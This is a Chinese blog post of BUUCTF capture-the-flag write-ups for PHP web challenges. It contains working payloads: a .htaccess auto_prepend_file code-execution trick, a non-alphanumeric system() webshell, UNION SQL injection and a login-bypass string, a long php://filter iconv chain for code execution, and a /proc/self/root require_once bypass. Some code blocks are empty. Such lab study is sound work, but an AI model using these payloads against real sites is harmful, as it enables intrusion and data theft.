BUUCTF刷题(2)
BUUCTF刷题(2)
1azy_fish.[羊城杯2020]easyphp
打开就是源代码
1 |
|
代码审计
- 使用
scandir('./')
函数获取当前目录中的文件和文件夹列表。- 使用
foreach
循环遍历目录中的每个文件。- 对于每个文件,首先检查它是否是一个文件(而不是文件夹),然后检查它是否不是 “index.php” 文件。
- 如果满足上述条件,则使用
unlink($file)
函数删除该文件。- 接下来,检查是否存在名为 “content” 和 “filename” 的 GET 请求参数。
- 如果其中任何一个参数未设置,则使用
highlight_file(__FILE__)
函数将当前文件的源代码高亮显示,并终止脚本的执行。- 获取名为 “content” 和 “filename” 的 GET 请求参数的值。
- 检查 “content” 参数的值是否包含 “on”、”html”、”type”、”flag”、”upload” 或 “file” 字符串,以及是否忽略大小写。如果满足条件,则输出 “Hacker” 并终止脚本的执行。
- 检查 “filename” 参数的值是否只包含小写字母和点号。如果不满足条件,则输出 “Hacker” 并终止脚本的执行。
- 再次使用
scandir('./')
函数获取当前目录中的文件和文件夹列表。- 使用
foreach
循环遍历目录中的每个文件。- 对于每个文件,首先检查它是否是一个文件(而不是文件夹),然后检查它是否不是 “index.php” 文件。
- 如果满足上述条件,则使用
unlink($file)
函数删除该文件。- 最后,使用
file_put_contents($filename, $content . "\nHello, world")
函数将指定的内容写入指定的文件,并附加一个新行。总体上,这段代码首先删除除 “index.php” 以外的所有文件,然后根据接收的GET请求参数,将内容写入指定的文件中。在处理请求参数时,它进行了一些简单的安全检查,例如防止恶意内容的注入。如果请求参数不符合预期的条件,脚本将输出 “Hacker” 并终止执行。否则,它将将内容写入指定的文件并附加一个新行。
那么,我们只能在index.php
上做文章咯,只能是.htaccess
配置文件了。
.htaccess
什么是.htaccess?
.htaccess(超文本访问)是许多Web服务器根据目录应用设置的有用文件,允许在运行时覆盖Apache服务器的默认配置。使用.htaccess,我们可以在运行时轻松启用或禁用任何功能。
需要确保服务器已启用 AllowOverride
来允许 .htaccess
文件的使用。
一些语法
一些常见的 .htaccess
语法和规则:
注释:使用 #
符号来添加注释,注释内容将被忽略。
1 | # 这是一个注释 |
指定 .htaccess
的作用范围:使用 Directory
或 Files
指令来指定 .htaccess
文件的作用范围。
1 | <Directory /path/to/directory> |
启用或禁用模块:使用 LoadModule
和 AddModule
指令来启用或禁用 Apache 模块。
1 | LoadModule rewrite_module modules/mod_rewrite.so # 启用 mod_rewrite 模块 |
URL 重写:使用 RewriteRule
指令实现 URL 重写和重定向。
1 | RewriteEngine On # 启用重写引擎 |
禁止访问:使用 Deny
或 Require
指令来限制对某些目录或文件的访问。
1 | Deny from all |
MIME 类型设置:使用 AddType
或 ForceType
指令来设置 MIME 类型。
1 | AddType text/html .html |
一些利用方法
回到本题
结合上面的内容
使用代码执行
1 | php_value auto_append_file .htaccess |
但是有过滤把file拆分,并且将"\nHello, world"
的\n
转义
1 | php_value auto_prepend_fil\ |
[极客大挑战 2020]Roamphp1-Welcome
进入环境,ok,405
换post试一试
一眼hash
估计是签到……
[b01lers2020]Life on Mars
进去发现没什么东西
抓个包,发现有点东西
看起来是查询语句,那么……
sql启动!
/query?search=amazonis_planitia union select version(),database()
成功注入了,接下来就是一把梭。
[SUCTF 2018]GetShell
无字母数字马
<?=system($_POST[_]);
1 | $_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]); |
详细可以看
p神的文章:一些不包含数字和字母的webshell
[MRCTF2020]Ezaudit
进入之后有www.zip泄露
1 |
|
mt_rand()伪随机,直接开爆。
先搓一个脚本,转化字符串。
1 |
|
直接开爆。
写脚本测试
1 |
|
得到想要的东西了
然后分析剩下的东西。
1 | if($Private_key === '************'){ |
万能密码直接注,注意闭合 1' or '1' = '1
结束。
[WMCTF2020]Make PHP Great Again
打开得到
1 |
|
require_once 函数:和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含
看到这个,就知道,常规php伪协议是行不通的。
解法一:filter-chain命令注入(<?php var_dump(get_defined_vars()); ?>
)
1 | php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp |
解法二:require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含
php源码分析 require_once 绕过不能重复包含文件的限制
1 | php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php |
解法三:session文件包含
老(偷来)的脚本,直接梭哈
1 | import requests |
[CSAWQual 2019]Web_Unagi
xxe外部实体注入
还有
下面是XML的基本语法规则:
- 元素(Element):XML文档由一个或多个元素组成。每个元素由开始标签和结束标签包围,并且可以包含内容、属性和子元素。例如:
<element>content</element>
- 标签(Tag):开始标签和结束标签用于定义一个元素。开始标签以
<
开头,结束标签以</
开头,后跟元素名称,以>
或>
和空格结尾。例如:<element>
和</element>
- 属性(Attribute):元素可以拥有零个或多个属性。属性提供有关元素的额外信息,以键值对的形式表示。属性位于开始标签中,并由空格分隔。例如:
<element attribute="value">content</element>
- 内容(Content):元素可以包含文本内容或其他子元素。内容位于开始标签和结束标签之间。例如:
<element>content</element>
- 注释(Comment):注释用于在XML文档中添加注释信息,不会被解析器处理。注释以
<!--
开头,以-->
结尾。例如:<!-- This is a comment -->
- 实体引用(Entity Reference):某些特殊字符(如小于号
<
和大于号>
)在XML中有特殊含义。为了在文本中表示这些字符,可以使用实体引用。例如:<
表示<
,>
表示>
- CDATA节(CDATA Section):CDATA节用于包含需要保留原始格式的文本,不会被解析器解析。CDATA节以
<![CDATA[
开头,以]]>
结尾。例如:<![CDATA[This is some <b>bold</b> text.]]>
这些是XML的基本语法规则,用于定义结构化数据和信息。XML可以用于表示各种数据,例如配置文件、数据传输、Web服务等。
有payload
1 |
|